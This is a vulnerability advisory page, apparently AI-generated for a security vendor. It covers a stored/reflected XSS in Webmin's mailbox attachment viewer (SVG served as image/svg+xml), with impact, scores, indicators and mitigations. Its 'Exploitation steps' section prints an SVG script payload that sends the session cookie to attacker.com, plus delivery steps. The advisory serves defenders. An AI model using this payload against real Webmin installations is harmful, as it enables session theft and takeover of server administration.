CVE-2026-49102
Webmin vulnerability analysis and mitigation

Overview

CVE-2026-49102 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in Webmin's mailboxes component, specifically in mailboxes/detach.cgi. The flaw affects all Webmin versions before 2.640 and arises because SVG email attachments are served with the image/svg+xml content type instead of a safe type such as text/plain, allowing embedded scripts to execute in the browser. It was published on May 27, 2026, and carries a CVSS v3.1 base score of 6.1 (Medium) (Github Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), classified under CAPEC-209 (XSS Using MIME Type Mismatch). When a user views an SVG email attachment via mailboxes/detach.cgi, Webmin serves the file with the image/svg+xml content type, which browsers treat as an active document capable of executing embedded JavaScript. The fix, applied in commit cf43287, adds an explicit check: if the attachment type or filename matches SVG patterns (image/svg, image/svg+xml, or .svg/.svgz extensions), the content is instead served as text/plain, preventing script execution (Webmin Commit). No authentication is required to send the malicious email, but a Webmin user must interact with (view) the attachment for exploitation to succeed.

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser within the security context of the Webmin application. This can lead to session token theft, unauthorized actions performed on behalf of the authenticated user (such as system administration tasks), and exposure of sensitive information visible in the Webmin interface. Because Webmin is a privileged server administration panel, a compromised session could grant an attacker effective control over the underlying server (Github Advisory, Feedly).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of disclosure (Github Advisory). The EPSS score is approximately 0.031% (10th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

Exploitation steps

  1. Craft malicious SVG: Create an SVG file containing an embedded JavaScript payload, e.g., <svg xmlns="http://www.w3.org/2000/svg"><script>document.location='https://attacker.com/steal?c='+document.cookie</script></svg>.
  2. Send email with SVG attachment: Send an email to a Webmin user's mailbox (accessible via the Webmin mailboxes component) with the malicious SVG file attached.
  3. Wait for user interaction: The attack requires the target Webmin user to open their mailbox and click to view the SVG attachment via mailboxes/detach.cgi.
  4. Trigger XSS: On vulnerable versions (before 2.640), Webmin serves the SVG with Content-type: image/svg+xml, causing the browser to render it as an active document and execute the embedded JavaScript in the Webmin origin context.
  5. Achieve objective: The executed script can exfiltrate the session cookie, perform authenticated Webmin API actions, or pivot to further server compromise (Webmin Commit, Github Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from the Webmin server or the administrator's browser to unexpected external hosts shortly after a user views an email attachment; unusual GET/POST requests to attacker-controlled domains containing encoded cookie or session data.
  • Logs: Webmin access logs showing requests to mailboxes/detach.cgi with SVG-typed or .svg-named attachments from authenticated user sessions; subsequent unusual administrative actions (user creation, configuration changes) in Webmin audit logs immediately following attachment views.
  • File System: Unexpected new files or scripts created in Webmin directories or on the server following a session compromise event.

Mitigation and workarounds

Upgrade Webmin to version 2.640 or later, which fixes the vulnerability by serving SVG attachments as text/plain instead of image/svg+xml (Webmin Commit, Github Advisory). As interim mitigations, consider disabling the Webmin mailboxes component if it is not required, implementing a strict Content Security Policy (CSP) on the Webmin interface, and training users not to open unexpected email attachments within Webmin. Restricting inbound email to trusted senders can also reduce the attack surface.

Additional resources


SourceThis report was generated using AI

Related Webmin vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-49103CRITICAL9.4
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoYesMay 27, 2026
CVE-2026-56020CRITICAL9.2
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoYesJun 18, 2026
CVE-2026-56022MEDIUM6.9
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoYesJun 18, 2026
CVE-2026-56021MEDIUM6.9
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoYesJun 18, 2026
CVE-2026-42210MEDIUM5.3
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoYesJul 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management